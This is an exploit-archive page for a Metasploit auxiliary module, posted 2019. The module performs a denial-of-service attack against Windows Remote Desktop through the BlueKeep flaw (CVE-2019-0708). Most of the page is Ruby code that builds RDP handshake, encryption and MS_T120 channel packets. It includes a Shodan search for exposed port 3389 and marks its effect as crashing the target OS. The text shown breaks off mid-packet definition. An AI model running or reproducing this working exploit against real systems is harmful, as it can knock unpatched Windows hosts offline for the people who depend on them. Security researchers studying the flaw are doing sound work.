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Microsoft Windows RDP BlueKeep Denial Of Service

Microsoft Windows RDP BlueKeep Denial Of Service
Posted Jul 15, 2019
Authored by Ramella Sebastien

Microsoft Windows Remote Desktop BlueKeep denial of service exploit.

tags | exploit, remote, denial of service
systems | windows
advisories | CVE-2019-0708
MD5 | 03ea74e7a141e90ebbfc356da5c86bfd

Microsoft Windows RDP BlueKeep Denial Of Service

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# Exploit Title: Bluekeep Denial of Service (metasploit module)
# Shodan Dork: port:3389
# Date: 07/14/2019
# Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/)
# Vendor Homepage: https://microsoft.com
# Version: all affected RDP services by cve-2019-0708
# Tested on: Windows XP (32-bits) / Windows 7 (64-bits)
# CVE : 2019-0708

# I just modified the initial metasploit module for this vuln to produce a denial of service attack.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
Rank = NormalRanking

include Msf::Auxiliary::Dos
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE',
'Description' => %q{
This module checks a range of hosts for the CVE-2019-0708 vulnerability
by binding the MS_T120 channel outside of its normal slot and sending
DoS packets.
},
'Author' =>
[
'National Cyber Security Centre', # Discovery
'JaGoTu', # Module
'zerosum0x0', # Module
'Tom Sellers', # TLS support and documented packets
'RAMELLA Sebastien' # Denial of service module
],
'References' =>
[
[ 'CVE', '2019-0708' ],
[ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ]
],
'DisclosureDate' => '2019-05-14',
'License' => MSF_LICENSE,
'Notes' =>
{
'Stability' => [ CRASH_OS_DOWN ],
'AKA' => ['BlueKeep']
}
))

register_options(
[
OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']),
OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']),
OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']),
OptString.new('RDP_USER', [ false, 'The username to report during connection.']),
OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']),
OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389])
]
)
end

# ------------------------------------------------------------------------- #

def bin_to_hex(s)
return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join)
end

def bytes_to_bignum(bytesIn, order = "little")
bytes = bin_to_hex(bytesIn)
if(order == "little")
bytes = bytes.scan(/../).reverse.join('')
end
s = "0x" + bytes

return(s.to_i(16))
end

## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
def int_to_bytestring(daInt, num_chars = nil)
unless(num_chars)
bits_needed = Math.log(daInt) / Math.log(2)
num_chars = (bits_needed / 8.0).ceil
end
if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ])
[daInt].pack(pack_code)
else
a = (0..(num_chars)).map{ | i |
(( daInt >> i*8 ) & 0xFF ).chr
}.join
a[0..-2] # Seems legit lol!
end
end

def open_connection()
begin
connect()
sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)
rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
vprint_error("Connection error: #{e.message}")
return(false)
end

return(true)
end

def rsa_encrypt(bignum, rsexp, rsmod)
return((bignum ** rsexp) % rsmod)
end

# ------------------------------------------------------------------------- #

## Used to abruptly abort scanner for a given host.
class RdpCommunicationError < StandardError
end

## Define standard RDP constants.
class RDPConstants
PROTOCOL_RDP = 0
end

DEFAULT_CHANNELS_DEFS =
"\x04\x00\x00\x00" + # channelCount: 4

## Channels definitions consist of a name (8 bytes) and options flags
## (4 bytes). Names are up to 7 ANSI characters with null termination.
"\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd
"\x0f\x00\x00\xc0" +
"\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr
"\x00\x00\xa0\xc0" +
"\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc
"\x00\x00\x00\x80\xc0" +
"\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120
"\x00\x00\x00\x00\x00"

## Builds x.224 Data (DT) TPDU - Section 13.7
def rdp_build_data_tpdu(data)
tpkt_length = data.length + 7

"\x03\x00" + # TPKT Header version 03, reserved 0
[tpkt_length].pack("S>") + # TPKT length
"\x02\xf0" + # X.224 Data TPDU (2 bytes)
"\x80" + # X.224 End Of Transmission (0x80)
data
end

## Build the X.224 packet, encrypt with Standard RDP Security as needed.
## Default channel_id = 0x03eb = 1003.
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true)
flags = 0
flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT
flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT

pdu = ""

## TS_SECURITY_HEADER - 2.2.8.1.1.2.1
## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs.
if(client_info || rdp_sec)
pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT
pdu << "\x00\x00" # flagsHi
end

if(rdp_sec)
## Encrypt the payload with RDP Standard Encryption.
pdu << rdp_hmac(hmackey, data)[0..7]
pdu << rdp_rc4_crypt(rc4enckey, data)
else
pdu << data
end

user_data_len = pdu.length
udl_with_flag = 0x8000 | user_data_len

pkt = "\x64" # sendDataRequest
pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static)
pkt << channel_id # channelId
pkt << "\x70" # dataPriority
pkt << [udl_with_flag].pack("S>")
pkt << pdu

return(rdp_build_data_tpdu(pkt))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471
## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03")
total_len = data.length + 6

return(
[total_len].pack("S<") + # totalLength - includes all headers
[type].pack("S<") + # pduType - flags 16 bit, unsigned
channel_id + # PDUSource: 0x03f1 = 1009
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31
## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
def rdp_build_share_data_header(type, data)
uncompressed_len = data.length + 4

return(
"\xea\x03\x01\x00" + # shareId: 66538
"\x00" + # pad1
"\x01" + # streamID: 1
[uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int
[type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2
"\x00" + # compressedType: 0
"\x00\x00" + # compressedLength: 0
data
)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b
## Virtual Channel PDU 2.2.6.1
def rdp_build_virtual_channel_pdu(flags, data)
data_len = data.length

return(
[data_len].pack("L<") + # length
[flags].pack("L<") + # flags
data
)
end

def rdp_calculate_rc4_keys(client_random, server_random)
## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom).
preMasterSecret = client_random[0..23] + server_random[0..23]

## PreMasterHash(I) = SaltedHash(preMasterSecret, I)
## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343).
masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random)

## MasterHash(I) = SaltedHash(MasterSecret, I)
## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A).
sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random)

## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)).
initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random)

## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)).
initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random)

macKey = sessionKeyBlob[0..15]

return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob
end

def rdp_connection_initiation()
## Code to check if RDP is open or not.
vprint_status("Verifying RDP protocol...")

vprint_status("Attempting to connect using RDP security")
rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP))

received = sock.get_once(-1, 5)

## TODO: fix it.
if (received and received.include? "\x00\x12\x34\x00")
return(true)
end

return(false)
end

## FinalHash(K) = MD5(K + ClientRandom + ServerRandom).
def rdp_final_hash(k, client_random_bytes, server_random_bytes)
md5 = Digest::MD5.new

md5 << k
md5 << client_random_bytes
md5 << server_random_bytes

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94
## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d"
## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00"
## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
def rdp_hmac(mac_salt_key, data_content)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

pad1 = "\x36" * 40
pad2 = "\x5c" * 48

sha1 << mac_salt_key
sha1 << pad1
sha1 << [data_content.length].pack('<L')
sha1 << data_content

md5 << mac_salt_key
md5 << pad2
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c
## Parse Server MCS Connect Response PUD - 2.2.1.4
def rdp_parse_connect_response(pkt)
ptr = 0
rdp_pkt = pkt[0x49..pkt.length]

while(ptr < rdp_pkt.length)
header_type = rdp_pkt[ptr..ptr + 1]
header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0]
# vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}")

if(header_type == "\x02\x0c")
# vprint_status("Security header")

server_random = rdp_pkt[ptr + 20..ptr + 51]
public_exponent = rdp_pkt[ptr + 84..ptr + 87]

modulus = rdp_pkt[ptr + 88..ptr + 151]
# vprint_status("modulus_old: #{bin_to_hex(modulus)}")

rsa_magic = rdp_pkt[ptr + 68..ptr + 71]
if(rsa_magic != "RSA1")
print_error("Server cert isn't RSA, this scenario isn't supported (yet).")
raise RdpCommunicationError
end
# vprint_status("RSA magic: #{rsa_magic}")

bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8
vprint_status("RSA #{bitlen}-bits")

modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen]
# vprint_status("modulus_new: #{bin_to_hex(modulus)}")
end

ptr += header_length
end

# vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}")
# vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}")
# vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}")

rsmod = bytes_to_bignum(modulus)
rsexp = bytes_to_bignum(public_exponent)
rsran = bytes_to_bignum(server_random)

vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}")
vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}")
vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}")

return rsmod, rsexp, rsran, server_random, bitlen
end

def rdp_rc4_crypt(rc4obj, data)
rc4obj.encrypt(data)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f
## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes)
sha1 = Digest::SHA1.new
md5 = Digest::MD5.new

sha1 << i_bytes
sha1 << s_bytes
sha1 << client_random_bytes
sha1 << server_random_bytes

md5 << s_bytes
md5 << [sha1.hexdigest].pack("H*")

return([md5.hexdigest].pack("H*"))
end

def rdp_recv()
buffer_1 = sock.get_once(4, 5)
raise RdpCommunicationError unless buffer_1 # nil due to a timeout

buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5)
raise RdpCommunicationError unless buffer_2 # nil due to a timeout

vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}")
return(buffer_1 + buffer_2)
end

def rdp_send(data)
vprint_status("Send data: #{bin_to_hex(data)}")

sock.put(data)
end

def rdp_sendrecv(data)
rdp_send(data)

return(rdp_recv())
end

# ------------------------------------------------------------------------- #

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10
## Client X.224 Connect Request PDU - 2.2.1.1
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP)
## Blank username is valid, nil is random.
user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?)
tpkt_len = user_name.length + 38
x224_len = user_name.length + 33

return(
"\x03\x00" + # TPKT Header version 03, reserved 0
[tpkt_len].pack("S>") + # TPKT length: 43
[x224_len].pack("C") + # X.224 LengthIndicator
"\xe0" + # X.224 Type: Connect Request
"\x00\x00" + # dst reference
"\x00\x00" + # src reference
"\x00" + # class and options
"\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash='
user_name + # Identifier "username"
"\x0d\x0a" + # cookie terminator
"\x01\x00" + # Type: RDP Negotiation Request (0x01)
"\x08\x00" + # Length
[requested_protocols].pack('L<') # requestedProtocols
)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS)
## After negotiating TLS or NLA the connectInitial packet needs to include the
## protocol selection that the server indicated in its negotiation response.

## TODO: If this is pulled into an RDP library then the channel list likely
## needs to be build dynamically. For example, MS_T120 likely should only
## ever be sent as part of checks for CVE-2019-0708.

## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE)
## 15 characters + null terminator, converted to unicode
## fixed length - 32 characters total
name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le')
name_unicode += "\x00" * (32 - name_unicode.length)

pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101)
"\x82\x01\xb2" + # Length (BER: Length)
"\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString)
"\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString)
"\x01\x01\xff" + # UpwaredFlag: True (BER: boolean)

## Connect-Initial: Target Parameters
"\x30\x19" + # TargetParamenters (BER: SequenceOf)
## *** not sure why the BER encoded Integers below have 2 byte values instead of one ***
"\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

## Connect-Intial: Minimum Parameters
"\x30\x19" + # MinimumParameters (BER: SequencOf)
"\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" +

## Connect-Initial: Maximum Parameters
"\x30\x1c" + # MaximumParameters (BER: SequencOf)
"\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" +

## Connect-Initial: UserData
"\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString)

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
"\x00\x05" + # object length
"\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control
"\x81\x48" + # Length: ??? (Connect PDU)
"\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1
"\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key)
"\x81\x3a" + # Length: ??? (T.124 UserData section)

## Client MCS Section - 2.2.1.3
"\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2
"\xea\x00" + # Length: 234 (includes header)
"\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1)
"\x80\x07" + # desktopWidth: 1920
"\x38\x04" + # desktopHeigth: 1080
"\x01\xca" + # colorDepth: 8 bpp
"\x03\xaa" + # SASSequence: 43523
"\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US)
"\xee\x42\x00\x00" + # clientBuild: ????
[name_unicode].pack("a*") + # clientName
"\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102)
"\x00\x00\x00\x00" + # keyboadSubtype: 0
"\x0c\x00\x00\x00" + # keyboardFunctionKey: 12
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes)
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x01\xca" + # postBeta2ColorDepth: 8 bpp
"\x01\x00" + # clientProductID: 1
"\x00\x00\x00\x00" + # serialNumber: 0
"\x18\x00" + # highColorDepth: 24 bpp
"\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp)
"\xaf\x07" + # earlyCapabilityFlags
"\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes)
"\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" +
"\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" +
"\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" +
"\x07" + # connectionType: 7
"\x00" + # pad1octet

## serverSelectedProtocol - After negotiating TLS or CredSSP this value
## must match the selectedProtocol value from the server's Negotiate
## Connection confirm PDU that was sent before encryption was started.
[selected_proto].pack('L<') + # "\x01\x00\x00\x00"

"\x56\x02\x00\x00" +
"\x50\x01\x00\x00" +
"\x00\x00" +
"\x64\x00\x00\x00" +
"\x64\x00\x00\x00" +

"\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5
"\x0c\x00" + # Length: 12 (includes header)
"\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
"\x00\x00\x00\x00" + # RedirectedSessionID
"\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3
"\x0c\x00" + # Length: 12 (includes header)
"\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit)
"\x00\x00\x00\x00" + # extEncryptionMethods (French locale only)
"\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4
"\x38\x00" + # Length: 56 (includes header)
channels_defs

## Fix. for packet modification.
## T.125 Connect-Initial
size_1 = [pdu.length - 5].pack("s") # Length (BER: Length)
pdu[3] = size_1[1]
pdu[4] = size_1[0]

## Connect-Initial: UserData
size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString)
pdu[100] = size_2[1]
pdu[101] = size_2[0]

## T.124 GCC Connection Data (ConnectData) - PER Encoding used
size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU)
pdu[109] = "\x81"
pdu[110] = size_3[0]

size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section)
pdu[123] = "\x81"
pdu[124] = size_4[0]

## Client MCS Section - 2.2.1.3
size_5 = [pdu.length - 383].pack("s") # Length (includes header)
pdu[385] = size_5[0]

rdp_build_data_tpdu(pdu)
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f
## Client Security Exchange PDU - 2.2.1.10
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen)
encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod)
encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum)

bitlen += 8 # Pad with size of TS_SECURITY_PACKET header

userdata_length = 8 + bitlen
userdata_length_low = userdata_length & 0xFF
userdata_length_high = userdata_length / 256
flags = 0x80 | userdata_length_high

pdu = "\x64" + # T.125 sendDataRequest
"\x00\x08" + # intiator userId
"\x03\xeb" + # channelId = 1003
"\x70" + # dataPriority = high, segmentation = begin | end
[flags].pack("C") +
[userdata_length_low].pack("C") + # UserData length

# TS_SECURITY_PACKET - 2.2.1.10.1
"\x01\x00" + # securityHeader flags
"\x00\x00" + # securityHeader flagsHi
[bitlen].pack("L<") + # TS_ length
encrypted_rcran + # encryptedClientRandom - 64 bytes
"\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present)

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c
## Client MCS Erect Domain Request PDU - 2.2.1.5
def pdu_erect_domain_request()
pdu = "\x04" + # T.125 ErectDomainRequest
"\x01\x00" + # subHeight - length 1, value 0
"\x01\x00" # subInterval - length 1, value 0

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\
## Client MCS Attach User Request PDU - 2.2.1.6
def pdu_attach_user_request()
pdu = "\x28" # T.125 AttachUserRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
## Client MCS Channel Join Request PDU -2.2.1.8
def pdu_channel_request(user1, channel_id)
pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest

return(rdp_build_data_tpdu(pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d
## TS_INFO_PACKET - 2.2.1.11.1.1
def pdu_client_info(user_name, domain_name = "", ip_address = "")
## Max. len for 4.0/6.0 servers is 44 bytes including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 44 (21 chars + null -> unicode) here.

## Blank username is valid, nil = random.
user_name = Rex::Text.rand_text_alpha(10) if user_name.nil?
user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le')
uname_len = user_unicode.length

## Domain can can be, and for rdesktop typically is, empty.
## Max. len for 4.0/5.0 servers is 52 including terminator.
## Max. len for all other versions is 512 including terminator.
## We're going to limit to 52 (25 chars + null -> unicode) here.
domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le')
domain_len = domain_unicode.length

## This address value is primarily used to reduce the fields by which this
## module can be fingerprinted. It doesn't show up in Windows logs.
## clientAddress + null terminator
ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00"
ip_len = ip_unicode.length

pdu = "\xa1\xa5\x09\x04" +
"\x09\x04\xbb\x47" + # CodePage
"\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY
[domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator
[uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator
"\x00\x00" + # cbPassword (length value)
"\x00\x00" + # cbAlternateShell (length value)
"\x00\x00" + # cbWorkingDir (length value)
[domain_unicode].pack("a*") + # Domain
"\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain
[user_unicode].pack("a*") + # UserName
"\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName
"\x00\x00" + # Password - empty
"\x00\x00" + # AlternateShell - empty

## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1
"\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically
[ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons.
[ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode)

"\x3c\x00" + # cbClientDir (length value): 60
"\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator
"\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" +
"\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" +
"\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" +

## clientTimeZone - TS_TIME_ZONE struct - 172 bytes
## These are the default values for rdesktop
"\xa4\x01\x00\x00" + # Bias

## StandardName - 'GTB,normaltid'
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" +
"\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate
"\x00\x00\x00\x00" + # StandardBias

## DaylightName - 'GTB,sommartid'
"\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" +
"\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" +
"\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate
"\xc4\xff\xff\xff" + # DaylightBias

"\x01\x00\x00\x00" + # clientSessionId
"\x06\x00\x00\x00" + # performanceFlags
"\x00\x00" + # cbAutoReconnectCookie
"\x64\x00\x00\x00"

return(pdu)
end

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48
# Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1
def pdu_client_confirm_active()
pdu = "\xea\x03\x01\x00" + # shareId: 66538
"\xea\x03" + # originatorId
"\x06\x00" + # lengthSourceDescriptor: 6
"\x3e\x02" + # lengthCombinedCapabilities: ???
"\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC'
"\x17\x00" + # numberCapabilities: 23
"\x00\x00" + # pad2Octets
"\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET
"\x18\x00" + # lengthCapability: 24
"\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET
"\x1c\x00" + # lengthCapability: 28
"\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" +
"\x01\x00\x00\x1a\x01\x00\x00\x00" +
"\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET
"\x58\x00" + # lengthCapability: 88
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" +
"\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" +
"\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" +
"\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" +
"\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" +
"\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x0a\x00" + # capabilitySetType: 10 - ??
"\x08\x00" + # lengthCapability: 8
"\x06\x00\x00\x00" +
"\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET
"\x0c\x00" + # lengthCapability: 12
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET
"\x0c\x00" + # lengthCapability: 12
"\x00\x00\x00\x00\x02\x00\x02\x00" +
"\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET
